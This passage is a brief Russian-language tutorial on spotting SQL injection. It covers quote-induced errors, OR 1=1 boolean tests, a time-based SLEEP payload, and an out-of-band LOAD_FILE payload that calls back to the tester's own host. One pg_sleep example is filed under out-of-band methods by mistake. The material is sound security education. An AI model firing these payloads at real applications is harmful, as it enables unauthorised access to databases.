QL иньекция - возможность злоумышленника вмешиваться в запрос, который делает приложение, к базе данных. Это позволяет получить атаковавшему доступ к тем данным, к которым у него не должно быть доступа. ## Как распознать наличие возможности SQLi? 1. Поставить **'** в конце запроса и посмотреть на ошибки 2. Булевые выражения такие как **OR 1=1** **OR 1=2** могут помочь получить доступ к нужным частям БД 3. Создавай SQL-запросы, которые вызывают задержку при выполнении, и наблюдай, меняется ли время ответа. **Пример:** Используй функцию задержки, например `SLEEP` в MySQL: `Food' OR SLEEP(5)--` Если сервер обрабатывает инъекцию, то ответ задержится на 5 секунд. Это подтверждает уязвимость. 4. **Полезные нагрузки для взаимодействия с сетью (OAST):** Отправляй запросы, которые вызывают сетевую активность при выполнении. Это полезно, если сервер поддерживает вызов внешних ресурсов (например, DNS-запросы или HTTP-запросы). **Пример:** Вставляй такие команды, которые обращаются к твоему серверу: `Food' UNION SELECT LOAD_FILE('\\\\yourserver.com\\file')--` Или: `Food'; SELECT pg_sleep(5); -- в PostgreSQL` Ты будешь следить за сетью, чтобы заметить, происходит ли запрос к твоему серверу. Если он произошел — инъекция работает.